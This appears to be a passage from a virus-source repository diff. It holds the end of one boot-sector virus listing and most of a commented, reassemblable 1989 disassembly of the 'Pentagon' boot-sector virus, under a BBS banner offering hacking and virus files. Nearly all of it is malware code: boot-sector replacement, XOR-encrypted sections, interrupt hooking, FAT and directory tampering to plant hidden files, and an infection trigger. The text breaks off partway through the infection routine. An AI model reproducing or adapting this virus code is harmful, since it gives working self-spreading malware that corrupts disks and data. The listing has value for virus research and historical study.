DW0784 DW 0064H ; Cluster number of virus
|
||||
DW0786 DW 0066H ; Cluster number of file
|
||||
DW0788 DW 0B02H ; Virus track & sector
|
||||
DW078A DW 0101H ; Virus head and drive
|
||||
DW078C DW 0B06H ; File track and sector
|
||||
DW078E DW 0101H ; File head and drive
|
||||
DB0790 DB 1 ; Device number
|
||||
|
||||
DB0791 DB 'PENTAGONTXT', 21H, 17 DUP (0), 4, 0, 0
|
||||
DB07B1 DB 'Pentagon,ZG'
|
||||
DB07BC DB '(c) 1987 The Pentagon, Zorell Group$'
|
||||
|
||||
DB07E0 DB 20H ; Infection count
|
||||
DB07E1 DB 0FFH ; Infected by Brain switch
|
||||
DB07E2 DB 0 ; Directory update switch
|
||||
DB07E3 DB 0 ; Reboot switch
|
||||
|
||||
DB ' first sector in segment', 0DH, 0AH, 9, 6DH
|
||||
|
||||
CODE ENDS
|
||||
|
||||
END START
|
||||
|
|
@ -0,0 +1,989 @@
|
|||
;****************************************************************************;
|
||||
; ;
|
||||
; -=][][][][][][][][][][][][][][][=- ;
|
||||
; -=] P E R F E C T C R I M E [=- ;
|
||||
; -=] +31.(o)79.426o79 [=- ;
|
||||
; -=] [=- ;
|
||||
; -=] For All Your H/P/A/V Files [=- ;
|
||||
; -=] SysOp: Peter Venkman [=- ;
|
||||
; -=] [=- ;
|
||||
; -=] +31.(o)79.426o79 [=- ;
|
||||
; -=] P E R F E C T C R I M E [=- ;
|
||||
; -=][][][][][][][][][][][][][][][=- ;
|
||||
; ;
|
||||
; *** NOT FOR GENERAL DISTRIBUTION *** ;
|
||||
; ;
|
||||
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
|
||||
; Around Among the General Public. It Will be Very Useful for Learning how ;
|
||||
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
|
||||
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
|
||||
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
|
||||
; Is. Keep This Code in Responsible Hands! ;
|
||||
; ;
|
||||
;****************************************************************************;
|
||||
page 65,132
|
||||
title The 'Pentagon' Virus
|
||||
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
|
||||
; º British Computer Virus Research Centre º
|
||||
; º 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England º
|
||||
; º Telephone: Domestic 0273-26105, International +44-273-26105 º
|
||||
; º º
|
||||
; º The 'Pentagon' Virus º
|
||||
; º Disassembled by Joe Hirst, March 1989 º
|
||||
; º º
|
||||
; º Copyright (c) Joe Hirst 1989. º
|
||||
; º º
|
||||
; º This listing is only to be made available to virus researchers º
|
||||
; º or software writers on a need-to-know basis. º
|
||||
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
|
||||
|
||||
; The disassembly has been tested by re-assembly using MASM 5.0.
|
||||
|
||||
; The code section between offsets 59H and C4H (which is normally
|
||||
; encrypted) appears to have been separately assemblied using A86.
|
||||
|
||||
; Virus is possibly an honorary term, at least for this sample,
|
||||
; as all attempts to run it have so far failed.
|
||||
|
||||
; This virus consists of a boot sector and two files.
|
||||
; The boot sector is a normal PCDOS 3.20 boot sector with three
|
||||
; changes:
|
||||
|
||||
; 1. The OEM name 'IBM' has been changed to 'HAL'.
|
||||
|
||||
; 2. The first part of the virus code overwrites 036H to 0C5H.
|
||||
|
||||
; 3. 100H-122H has been overwritten by a character string.
|
||||
|
||||
; The name of the first file is the hex character 0F9H. This file
|
||||
; contains the rest of the virus code followed by the original boot
|
||||
; sector.
|
||||
|
||||
; The name of the second file is PENTAGON.TXT. This file does not
|
||||
; appear to be used in any way or contain any meaningful data.
|
||||
|
||||
; Both files are created without the aid of DOS, and the first
|
||||
; file is accessed by its stored absolute location.
|
||||
|
||||
; Four different sections of the virus are separately encrypted:
|
||||
|
||||
; 1. 004AH - 004BH, key 0ABCDH - load decryption key
|
||||
|
||||
; 2. 0059H - 00C4H, key 0FCH - rest of virus code in boot sector.
|
||||
|
||||
; 3. 0791H - 07DFH, key 0AAH - the file name and copyright message.
|
||||
|
||||
; 4. 0800H - 09FFH, key 0FCH - the original boot sector.
|
||||
|
||||
SEG70 SEGMENT AT 70H
|
||||
ASSUME CS:SEG70
|
||||
EXIT:
|
||||
SEG70 ENDS
|
||||
|
||||
BOOT SEGMENT AT 0
|
||||
|
||||
ORG 413H
|
||||
BW0413 DW ?
|
||||
|
||||
ORG 417H
|
||||
BB0417 DB ?
|
||||
|
||||
ORG 51CH
|
||||
BW051C DW ?
|
||||
|
||||
ORG 7C0BH
|
||||
DW7C0B DW ?
|
||||
|
||||
ORG 7C18H
|
||||
DW7C18 DW ?
|
||||
DW7C1A DW ?
|
||||
|
||||
ORG 7C2AH
|
||||
DB7C2A DB ?
|
||||
|
||||
ORG 7C37H
|
||||
DW7C37 DW ?
|
||||
DW7C39 DW ?
|
||||
DB7C3B DB ?
|
||||
DB7C3C DB ?
|
||||
DW7C3D DW ?
|
||||
|
||||
ORG 7DB7H
|
||||
DB7DB7 DB ?
|
||||
|
||||
ORG 7DFDH
|
||||
DB7DFD DB ?
|
||||
|
||||
ORG 7E00H
|
||||
DW7E00 DW ? ; DW008F - Track and sector of rest of code
|
||||
DW7E02 DW ? ; DW0091 - Head and drive of rest of code
|
||||
DW7E04 DW ? ; DW0093 - Segment address of virus
|
||||
|
||||
BOOT ENDS
|
||||
|
||||
CODE SEGMENT BYTE PUBLIC 'CODE'
|
||||
ASSUME CS:CODE,DS:CODE
|
||||
|
||||
IF1
|
||||
ORG 206H
|
||||
BP0095X LABEL NEAR
|
||||
ENDIF
|
||||
|
||||
ORG 0
|
||||
START: JMP BP0036
|
||||
|
||||
DB 'HAL 3.2'
|
||||
|
||||
DW 512 ; BPB001 - Bytes per sector
|
||||
DB 2 ; BPB002 - Sectors per allocation unit
|
||||
DW 1 ; BPB003 - Reserved sectors
|
||||
DB 2 ; BPB004 - Number of FATs
|
||||
DW 112 ; BPB005 - Number of root dir entries
|
||||
DW 720 ; BPB006 - Number of sectors
|
||||
DB 0FDH ; BPB007 - Media Descriptor
|
||||
DW 2 ; BPB008 - Number of sectors per FAT
|
||||
DW 9 ; BPB009 - Sectors per track
|
||||
DW 2 ; BPB010 - Number of heads
|
||||
DW 0 ; BPB011 - Number of hidden sectors (low order)
|
||||
BPB012 DW 0 ; Number of hidden sectors (high order)
|
||||
|
||||
DB 10 DUP (0)
|
||||
|
||||
HEADNO DB 0
|
||||
|
||||
; Interrupt 30 (1EH) - Disk parameter table
|
||||
|
||||
DSKTAB DB 4 DUP (0), 0FH, 4 DUP (0)
|
||||
|
||||
DB 1, 0
|
||||
|
||||
BP0036: CLI
|
||||
MOV AX,CS ; \ Set SS to CS
|
||||
MOV SS,AX ; /
|
||||
MOV SP,0F000H ; Set stack pointer
|
||||
MOV DS,AX ; Set DS to CS
|
||||
STI
|
||||
MOV BP,OFFSET BP0044+7C00H
|
||||
BP0044: XOR WORD PTR [BP+6],0ABCDH ; Decrypt key instruction
|
||||
NOP
|
||||
DW004A EQU THIS WORD
|
||||
MOV DH,0FCH ; Decryption key
|
||||
MOV BP,OFFSET BP0059+7C00H ; Decryption start address
|
||||
MOV CX,OFFSET DB00C5-BP0059 ; Length to decrypt
|
||||
BP0052: XOR [BP+00],DH ; Decrypt a byte
|
||||
INC BP ; Next byte
|
||||
LOOP BP0052 ; Repeat for all of it
|
||||
NOP
|
||||
BP0059: XOR DW004A+7C00H,0ABCDH ; Re-encrypt key instruction
|
||||
MOV AX,BW0413 ; Get RAM size in K
|
||||
SUB AX,0005 ; Subtract five K
|
||||
MOV BW0413,AX ; Replace amended RAM size
|
||||
MOV CL,06 ; Bits to move
|
||||
SHL AX,CL ; Convert to segment address
|
||||
MOV DW0093+7C00H,AX ; Save segment address
|
||||
NOP
|
||||
MOV ES,AX ; Set ES to this segment
|
||||
XOR DI,DI ; Move to start
|
||||
MOV SI,7C00H ; From start of boot sector buffer
|
||||
MOV CX,0200H ; Move one sector
|
||||
CLD
|
||||
REPZ MOVSB ; Move sector to high-core
|
||||
NOP
|
||||
|
||||
; Move next section of code to a safe area
|
||||
|
||||
MOV DI,200H+7C00H
|
||||
MOV SI,OFFSET DW008F+7C00H
|
||||
MOV CX,OFFSET DB00C5-DW008F ; Length to move
|
||||
PUSH DS ; \ Set ES to DS
|
||||
POP ES ; /
|
||||
CLD
|
||||
REPZ MOVSB ; Copy program section
|
||||
JMP BP0095X ; This is BP0095 in new location
|
||||
|
||||
DW008F DW 0B02H ; Track and sector of rest of code
|
||||
DW0091 DW 100H ; Head and drive of rest of code
|
||||
DW0093 DW 9EC0H ; Segment address of virus
|
||||
|
||||
BP0095: MOV CX,0004 ; Number of retries
|
||||
BP0098: PUSH CX
|
||||
MOV CX,DW7E00 ; Get track and sector number
|
||||
MOV DX,DW7E02 ; Get head and drive number
|
||||
MOV ES,DW7E04 ; Get buffer segment address
|
||||
MOV BX,0200H ; Buffer offset
|
||||
MOV AX,0201H ; Read one sector
|
||||
INT 13H ; Disk I/O
|
||||
JNB BP00B8 ; Branch if no error
|
||||
POP CX
|
||||
XOR AH,AH ; Reset floppy disk sub-system
|
||||
INT 13H ; Disk I/O
|
||||
LOOP BP0098 ; Retry
|
||||
INT 18H ; Drop into basic
|
||||
|
||||
BP00B8: POP CX
|
||||
MOV AX,OFFSET DW7E04 ; Address segment address
|
||||
CLI
|
||||
MOV SP,AX ; Point SP at segment address
|
||||
STI
|
||||
MOV AX,0200H ; \ Address of second section
|
||||
PUSH AX ; /
|
||||
RETF
|
||||
|
||||
DB00C5 DB 50H
|
||||
|
||||
; The rest of this sector is a normal PCDOS 3.20 boot sector
|
||||
; which has been overwritten at 100H-122H by a character string
|
||||
|
||||
DB 61H, 0
|
||||
|
||||
XOR AH,AH
|
||||
INT 16H
|
||||
POP SI
|
||||
POP DS
|
||||
POP [SI]
|
||||
|
||||
DW00D0 DW 0B06H ; Track and sector numbers
|
||||
DW00D2 DW 0100H ; Head and drive numbers
|
||||
DB 19H
|
||||
|
||||
MOV SI,OFFSET DB7DB7
|
||||
JMP NEAR PTR DB00C5
|
||||
|
||||
MOV AX,BW051C
|
||||
XOR DX,DX
|
||||
DIV DW7C0B
|
||||
INC AL
|
||||
MOV DB7C3C,AL
|
||||
MOV AX,DW7C37
|
||||
MOV DW7C3D,AX
|
||||
MOV BX,0700H
|
||||
MOV AX,DW7C37
|
||||
CALL BP0137
|
||||
MOV AX,DW7C18
|
||||
SUB AL,DB7C3B
|
||||
INC AX
|
||||
PUSH AX
|
||||
|
||||
DB '(c) 1987 The Pentagon, Zorell Group'
|
||||
|
||||
DB 7CH
|
||||
JMP FAR PTR EXIT
|
||||
|
||||
BP0129: LODSB
|
||||
OR AL,AL
|
||||
JZ BP0150
|
||||
MOV AH,0EH
|
||||
MOV BX,7
|
||||
INT 10H
|
||||
JMP BP0129
|
||||
|
||||
BP0137: XOR DX,DX
|
||||
DIV DW7C18
|
||||
INC DL
|
||||
MOV DB7C3B,DL
|
||||
XOR DX,DX
|
||||
DIV DW7C1A
|
||||
MOV DB7C2A,DL
|
||||
MOV DW7C39,AX
|
||||
BP0150: RET
|
||||
|
||||
MOV AH,2
|
||||
MOV DX,DW7C39
|
||||
MOV CL,6
|
||||
SHL DH,CL
|
||||
OR DH,DB7C3B
|
||||
MOV CX,DX
|
||||
XCHG CH,CL
|
||||
MOV DL,DB7DFD
|
||||
MOV DH,DB7C2A
|
||||
INT 13H
|
||||
RET
|
||||
|
||||
DB 0DH, 0AH, 'Non-System disk or disk error', 0DH, 0AH
|
||||
DB 'Replace and strike any key when ready', 0DH, 0AH, 0
|
||||
DB 0DH, 0AH, 'Disk Boot failure', 0DH, 0AH, 0
|
||||
DB 'IBMBIO COMIBMDOS COM'
|
||||
|
||||
ORG 01FEH
|
||||
DW 0AA55H
|
||||
|
||||
; Second sector of virus
|
||||
|
||||
BP0200: CLI
|
||||
MOV SP,0F000H ; Reset stack pointer
|
||||
STI
|
||||
XOR AX,AX ; \ Address zero
|
||||
MOV DS,AX ; /
|
||||
MOV BX,004CH ; INT 13H jump address
|
||||
MOV BP,01A0H ; INT 68H jump address
|
||||
CMP WORD PTR DS:[BP+0],0 ; Is INT 68H in use
|
||||
JE BP0219 ; Branch if not
|
||||
JMP BP024E
|
||||
|
||||
BP0219: MOV AX,[BX] ; Get INT 13H offset
|
||||
MOV DS:[BP+0],AX ; Set INT 68H to this offset
|
||||
MOV AX,[BX+2] ; Get INT 13H segment
|
||||
MOV DS:[BP+2],AX ; Set INT 68H to this segment
|
||||
MOV WORD PTR [BX],OFFSET BP04C4 ; Set address of INT 13H routine
|
||||
MOV AX,CS ; \ Set INT 13H segment
|
||||
MOV [BX+2],AX ; /
|
||||
MOV BX,0024H ; INT 9 jump address
|
||||
MOV BP,01A4H ; INT 69H jump address
|
||||
MOV AX,[BX] ; Get INT 9 offset
|
||||
MOV DS:[BP],AX ; Set INT 69H to this offset
|
||||
MOV AX,[BX+2] ; Get INT 9 segment
|
||||
MOV DS:[BP+2],AX ; Set INT 69H to this segment
|
||||
MOV WORD PTR [BX],OFFSET BP0709 ; Set address of INT 9 routine
|
||||
MOV AX,CS ; \ Set INT 9 segment
|
||||
MOV [BX+02],AX ; /
|
||||
JMP BP0254
|
||||
|
||||
BP024E: MOV BX,OFFSET BW0413 ; Address size of RAM
|
||||
ADD WORD PTR [BX],5 ; Restore the 5K
|
||||
BP0254: MOV BP,OFFSET DW008F ; Address virus pointer
|
||||
MOV CX,CS:[BP] ; Get track and sector
|
||||
MOV DX,CS:[BP+2] ; Get head and device
|
||||
MOV BX,0200H ; Address second sector
|
||||
MOV CX,3 ; Three sectors to read
|
||||
BP0265: PUSH CX ; Save read count
|
||||
MOV AX,0201H ; Read one sector
|
||||
MOV CX,CS:[BP] ; Get track and sector
|
||||
CALL BP0300 ; Address to next sector
|
||||
MOV CS:[BP],CX ; Save new track and sector
|
||||
ADD BX,0200H ; Address next buffer area
|
||||
CALL BP031B ; Read from disk
|
||||
JNB BP0280 ; Branch if no error
|
||||
POP CX
|
||||
INT 18H ; Drop into basic
|
||||
|
||||
; Read file, first sector
|
||||
|
||||
BP0280: POP CX ; Retrieve read count
|
||||
LOOP BP0265 ; Repeat for other sectors
|
||||
MOV BP,OFFSET DW00D0 ; Address file pointers
|
||||
MOV CX,CS:[BP] ; Get track and sector
|
||||
MOV DX,CS:[BP+2] ; Get head and drive
|
||||
MOV BX,1000H ; Buffer address
|
||||
MOV AX,0201H ; Read one sector
|
||||
CALL BP031B ; Read from disk
|
||||
JNB BP029B ; Branch if no error
|
||||
INT 18H ; Drop into basic
|
||||
|
||||
; Read file, second sector
|
||||
|
||||
BP029B: CALL BP0300 ; Address to next sector
|
||||
ADD BX,0200H ; Update buffer address
|
||||
MOV AX,0201H ; Read one sector
|
||||
CALL BP031B ; Read from disk
|
||||
JNB BP02AC ; Branch if no error
|
||||
INT 18H ; Drop into basic
|
||||
|
||||
BP02AC: LEA CX,DB07E0 ; Address end of encrypted
|
||||
LEA BX,DB0791 ; Address start of encrypted
|
||||
SUB CX,BX ; Length to decrypt
|
||||
MOV AL,0AAH ; Load encryption key
|
||||
PUSH CS ; \ Set DS to CS
|
||||
POP DS ; /
|
||||
CALL BP0315 ; Decrypt
|
||||
MOV AX,CS ; \
|
||||
MOV ES,AX ; ) Set ES & DS to CS
|
||||
MOV DS,AX ; /
|
||||
MOV DI,0100H ; Middle of 1st sector
|
||||
MOV SI,OFFSET DB07BC ; Address copyright message
|
||||
MOV CX,0023H ; Length of copyright message
|
||||
REPZ MOVSB ; Copy copyright message
|
||||
PUSH CS ; \ Set DS to CS
|
||||
POP DS ; /
|
||||
MOV CX,0200H ; Length to decrypt
|
||||
MOV BX,0800H ; Address boot sector store
|
||||
MOV AL,0FCH ; Load encryption key
|
||||
CALL BP0315 ; Decrypt
|
||||
XOR AX,AX ; \ Segment zero
|
||||
MOV ES,AX ; /
|
||||
MOV DI,7C00H ; Boot sector buffer
|
||||
MOV SI,0800H ; Address boot sector store
|
||||
MOV CX,0200H ; Sector length
|
||||
CLD
|
||||
REPZ MOVSB ; Copy boot sector
|
||||
DB 0EAH ; Far jump to boot sector
|
||||
DW 7C00H, 0
|
||||
|
||||
DB 16 DUP (0)
|
||||
|
||||
; Address to next sector
|
||||
|
||||
BP0300: INC CL ; Increment sector number
|
||||
CMP CL,0AH ; Is it sector ten?
|
||||
JL BP0314 ; Branch if not
|
||||
MOV CL,1 ; Set sector to one
|
||||
INC DH ; Increment head
|
||||
CMP DH,2 ; Is it head two?
|
||||
JL BP0314 ; Branch if not
|
||||
XOR DH,DH ; Set head to zero
|
||||
INC CH ; Increment track
|
||||
BP0314: RET
|
||||
|
||||
; Encrypt/decrypt
|
||||
|
||||
BP0315: XOR [BX],AL ; Encrypt a byte
|
||||
INC BX ; Address next byte
|
||||
LOOP BP0315 ; Repeat for count
|
||||
RET
|
||||
|
||||
; Read from or write to disk
|
||||
|
||||
BP031B: PUSH SI
|
||||
PUSH DI
|
||||
MOV SI,AX ; Save function
|
||||
MOV DI,CX ; Save track and sector
|
||||
MOV CX,3 ; Number of retries
|
||||
BP0324: PUSH CX
|
||||
MOV AX,SI ; Retrieve function
|
||||
MOV CX,DI ; Retrieve track and sector
|
||||
INT 68H ; Disk I/O
|
||||
JNB BP0338 ; Branch if no error
|
||||
XOR AH,AH ; Reset sub-system
|
||||
INT 68H ; Disk I/O
|
||||
POP CX ; Retrieve number of retries
|
||||
LOOP BP0324 ; Retry
|
||||
STC
|
||||
JMP BP033B
|
||||
|
||||
BP0338: POP CX ; Retrieve number of retries
|
||||
MOV CX,DI ; Retrieve track and sector
|
||||
BP033B: POP DI
|
||||
POP SI
|
||||
RET
|
||||
|
||||
; Find unused FAT entry pair
|
||||
|
||||
BP033E: PUSH AX
|
||||
PUSH DX
|
||||
PUSH ES
|
||||
PUSH DI
|
||||
PUSH CS
|
||||
POP ES
|
||||
MOV DX,CX ; Initial cluster number
|
||||
XOR AL,AL ; Search for zero
|
||||
BP0348: MOV CX,3 ; Three bytes to check
|
||||
MOV DI,BX ; Address FAT entry pair
|
||||
REPZ SCASB ; Scan for non-zero
|
||||
CMP CX,0 ; Is FAT pair unused
|
||||
JE BP0361 ; Branch if yes
|
||||
ADD BX,3 ; Address next entry pair
|
||||
ADD DX,2 ; Update entry count
|
||||
CMP DX,0162H ; Entry 354?
|
||||
JLE BP0348 ; Process entry pair if not
|
||||
STC
|
||||
BP0361: MOV CX,DX ; Cluster number found
|
||||
POP DI
|
||||
POP ES
|
||||
POP DX
|
||||
POP AX
|
||||
RET
|
||||
|
||||
; Find and flag an unused entry
|
||||
|
||||
BP0368: TEST WORD PTR [BX],0FFFH ; Test first FAT entry
|
||||
JZ BP0384 ; Branch if unused
|
||||
INC CX ; Next entry number
|
||||
INC BX ; Address 2nd entry
|
||||
TEST WORD PTR [BX],0FFF0H ; Test second FAT entry
|
||||
JZ BP038B ; Branch if unused
|
||||
INC CX ; Next entry number
|
||||
ADD BX,2 ; Address next entry pair
|
||||
CMP CX,0163H ; Entry 355?
|
||||
JLE BP0368 ; Process next FAT pair if not
|
||||
STC
|
||||
JMP BP0390
|
||||
|
||||
BP0384: OR WORD PTR [BX],0FFFH ; Flag 1st FAT entry EOF
|
||||
JMP BP038F
|
||||
|
||||
BP038B: OR WORD PTR [BX],0FFF0H ; Flag 2nd FAT entry EOF
|
||||
nop ; ** length adjustment, MASM 5.0
|
||||
BP038F: CLC
|
||||
BP0390: RET
|
||||
|
||||
; Unflag Brain virus bad clusters
|
||||
|
||||
BP0391: PUSH AX
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
MOV DX,CX
|
||||
BP0397: MOV AX,[BX] ; Get FAT entry
|
||||
AND AX,0FFFH ; Isolate FAT entry
|
||||
CMP AX,0FF7H ; Bad cluster?
|
||||
JE BP03B8 ; Branch if yes
|
||||
INC DX ; Add to cluster number
|
||||
INC BX ; Address next entry
|
||||
MOV AX,[BX] ; Get FAT entry
|
||||
MOV CL,4 ; Bits to move
|
||||
SHR AX,CL ; Move FAT entry
|
||||
CMP AX,0FF7H ; Bad Cluster?
|
||||
JE BP03C8 ; Branch if yes
|
||||
INC DX ; Add to cluster number
|
||||
ADD BX,2 ; Address next pair of entries
|
||||
CMP DX,015FH ; Entry 351?
|
||||
JLE BP0397 ; Process this pair if not
|
||||
BP03B8: MOV WORD PTR [BX],0 ; \
|
||||
MOV BYTE PTR [BX+2],0 ; ) Clear three entries
|
||||
XOR WORD PTR [BX+3],0FF7H ; /
|
||||
JMP BP03D5
|
||||
|
||||
BP03C8: XOR WORD PTR [BX],0FF7H ; \
|
||||
MOV WORD PTR [BX+2],0 ; ) Clear three entries
|
||||
MOV BYTE PTR [BX+4],0 ; /
|
||||
BP03D5: POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
POP AX
|
||||
RET
|
||||
|
||||
; Convert cluster number to track, head and sector
|
||||
|
||||
BP03DA: PUSH AX
|
||||
PUSH BX
|
||||
SUB CX,2 ; Subtract number of 1st cluster
|
||||
ADD CX,CX ; Two sectors per cluster
|
||||
ADD CX,0CH ; Add sector num of 1st cluster
|
||||
MOV AX,CX ; Copy sector number
|
||||
PUSH AX ; Save sector number
|
||||
MOV BL,9 ; Nine sectors per track
|
||||
DIV BL ; Divide by sectors per track
|
||||
INC AH ; First sector is one
|
||||
MOV CL,AH ; Move sector number
|
||||
XOR AH,AH ; Clear top of register
|
||||
MOV BL,2 ; Two heads
|
||||
DIV BL ; Divide by heads
|
||||
MOV DH,AH ; Move head number
|
||||
POP AX ; Retrieve sector number
|
||||
MOV BL,12H ; 18 sectors per track (both sides)
|
||||
DIV BL ; Divide by sectors per track
|
||||
MOV CH,AL ; Move track number
|
||||
POP BX
|
||||
POP AX
|
||||
RET
|
||||
|
||||
; Update directory
|
||||
|
||||
BP0401: PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
PUSH SI
|
||||
PUSH DI
|
||||
MOV CX,000FH ; Fifteen entries per sector
|
||||
XOR DI,DI ; Start of sector
|
||||
CMP AX,7 ; Is this first dir sector
|
||||
JNE BP0416 ; Branch if not
|
||||
SUB CX,3 ; Subtract three from count
|
||||
ADD DI,60H ; Address fourth entry
|
||||
BP0416: CMP BYTE PTR CS:DB07E1,0FFH ; Is Brain switch on?
|
||||
JNE BP0443 ; Branch if not
|
||||
CMP BYTE PTR ES:[BX+DI+0BH],8 ; Is it volume label?
|
||||
JNE BP0443 ; Branch if not
|
||||
MOV BYTE PTR CS:DB07E2,0FFH ; Set directory update switch on
|
||||
PUSH SI
|
||||
PUSH DI
|
||||
PUSH CX
|
||||
ADD DI,BX ; Add sector address
|
||||
LEA SI,DB07B1 ; Address label
|
||||
MOV CX,000BH ; Length of new label
|
||||
CLD
|
||||
REPZ MOVSB ; Copy label
|
||||
MOV BYTE PTR CS:DB07E1,0 ; Set Brain switch off
|
||||
POP CX
|
||||
POP DI
|
||||
POP SI
|
||||
BP0443: CMP BYTE PTR ES:[BX+DI],0 ; Is entry unused?
|
||||
JE BP0452 ; Branch if yes
|
||||
ADD DI,20H ; Address next entry
|
||||
LOOP BP0416 ; Process next entry
|
||||
STC
|
||||
JMP BP0487
|
||||
|
||||
BP0452: ADD DI,BX ; Add sector address
|
||||
MOV BX,DI ; Move entry address
|
||||
MOV BYTE PTR [BX],0F9H ; "Filename"
|
||||
MOV BYTE PTR [BX+0BH],23H ; Read-only, hidden attributes
|
||||
MOV CX,CS:DW0784 ; Get virus cluster number
|
||||
MOV [BX+1AH],CX ; Store starting cluster
|
||||
MOV WORD PTR [BX+1CH],0800H ; \ File size 2048
|
||||
MOV WORD PTR [BX+1EH],0 ; /
|
||||
ADD DI,20H ; Address next entry
|
||||
MOV BX,DI ; Move entry address
|
||||
LEA SI,DB0791 ; Address start of encrypted
|
||||
MOV CX,0020H ; One complete entry to move
|
||||
CLD
|
||||
REPZ MOVSB ; Move entry
|
||||
MOV CX,CS:DW0786 ; Get file cluster number
|
||||
MOV [BX+1AH],CX ; Store starting cluster
|
||||
CLC
|
||||
BP0487: POP DI
|
||||
POP SI
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
RET
|
||||
|
||||
; Read actual boot sector - Brain infected
|
||||
|
||||
BP048D: PUSH AX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
MOV CX,[BX+7] ; Get track and sector
|
||||
MOV DH,[BX+6] ; Get head number
|
||||
MOV AX,0201H ; Read one sector
|
||||
CALL BP031B ; Read from disk
|
||||
POP DX
|
||||
POP CX
|
||||
POP AX
|
||||
RET
|
||||
|
||||
; Generate a sound
|
||||
|
||||
BP04A0: MOV BP,1 ; One loop
|
||||
MOV AL,0B6H ; Counter two, both bytes, sq wave
|
||||
OUT 43H,AL ; Set PIT control register
|
||||
MOV AX,0533H ; Sound frequency
|
||||
OUT 42H,AL ; Send first byte
|
||||
MOV AL,AH ; Get second byte
|
||||
OUT 42H,AL ; Send second byte
|
||||
IN AL,61H ; Get port B
|
||||
MOV AH,AL ; Save port B value
|
||||
OR AL,3 ; Set sound bits on
|
||||
OUT 61H,AL ; Send port B
|
||||
SUB CX,CX ; Maximum loop count
|
||||
BP04BA: LOOP BP04BA ; Delay
|
||||
DEC BP ; Decrement count of loops
|
||||
JNZ BP04BA ; Branch if not zero (it won't be)
|
||||
MOV AL,AH ; Recover original port B
|
||||
OUT 61H,AL ; Send port B
|
||||
RET
|
||||
|
||||
; Int 13H routine
|
||||
|
||||
BP04C4: STI
|
||||
PUSH AX
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
PUSH DS
|
||||
PUSH SI
|
||||
PUSH ES
|
||||
PUSH DI
|
||||
MOV CS:DB0790,DL ; Save device
|
||||
CMP AH,2 ; Is function a read?
|
||||
JE BP04DA ; Branch if yes
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
BP04DA: DEC CS:DB07E0 ; Decrement count
|
||||
JZ BP04E4 ; Infect when zero
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
; Get boot sector
|
||||
|
||||
BP04E4: MOV BYTE PTR CS:DB07E0,10H ; Set count to 16
|
||||
PUSH CS ; \
|
||||
POP AX ; \ Set DS & ES to CS
|
||||
MOV DS,AX ; /
|
||||
MOV ES,AX ; /
|
||||
MOV BX,0800H ; Address boot sector store
|
||||
MOV CX,1 ; Track zero, sector one
|
||||
MOV DH,0 ; Head zero
|
||||
MOV DL,CS:DB0790 ; Load device
|
||||
MOV AX,0201H ; Read one sector
|
||||
CALL BP031B ; Read from disk
|
||||
JNB BP0508 ; Branch if no error
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
; Check for Brain virus
|
||||
|
||||
BP0508: CMP WORD PTR [BX+4],1234H ; Is it a Brain boot sector?
|
||||
JNE BP051D ; Branch if not
|
||||
MOV BYTE PTR CS:DB07E1,0FFH ; Set Brain switch on
|
||||
CALL BP048D ; Read actual boot sector
|
||||
JNB BP052D ; Branch if no error
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
; Check for Pentagon virus
|
||||
|
||||
BP051D: MOV BYTE PTR CS:DB07E1,0 ; Set Brain switch off
|
||||
CMP WORD PTR [BX+4AH],577BH ; Is it infected by pentagon?
|
||||
JNE BP052D ; Branch if not
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
; Check for DOS boot sector
|
||||
|
||||
BP052D: CMP WORD PTR [BX+01FEH],0AA55H ; Is it a valid boot sector
|
||||
JE BP0538 ; Branch if yes
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
; Get first FAT sector
|
||||
|
||||
BP0538: ADD BX,0200H ; Update buffer address
|
||||
INC CL ; Next sector
|
||||
MOV AX,0201H ; Read one sector
|
||||
CALL BP031B ; Read from disk
|
||||
JNB BP0549 ; Branch if no error
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
; Check media byte
|
||||
|
||||
BP0549: CMP BYTE PTR [BX],0FDH ; Is it 360K disk
|
||||
JE BP0551 ; Branch if yes
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
; Get second sector of FAT
|
||||
|
||||
BP0551: ADD BX,0200H ; Update buffer address
|
||||
INC CL ; Next sector
|
||||
MOV AX,0201H ; Read one sector
|
||||
CALL BP031B ; Read from disk
|
||||
JNB BP0562 ; Branch if no error
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
BP0562: CMP BYTE PTR CS:DB07E1,0FFH ; Test Brain switch
|
||||
JNE BP0573 ; Branch if off
|
||||
MOV BX,0A03H ; Address first cluster in FAT
|
||||
MOV CX,2 ; First cluster is number two
|
||||
CALL BP0391 ; Unflag Brain virus bad clusters
|
||||
BP0573: MOV BX,0A96H ; \ Start from cluster 100
|
||||
MOV CX,0064H ; /
|
||||
CALL BP033E ; Find unused FAT entry pair
|
||||
JNB BP0581 ; Branch if no error
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
BP0581: MOV CS:DW0784,CX ; Save virus cluster number
|
||||
INC CX ; Next cluster number
|
||||
MOV [BX],CX ; Put it in first FAT entry
|
||||
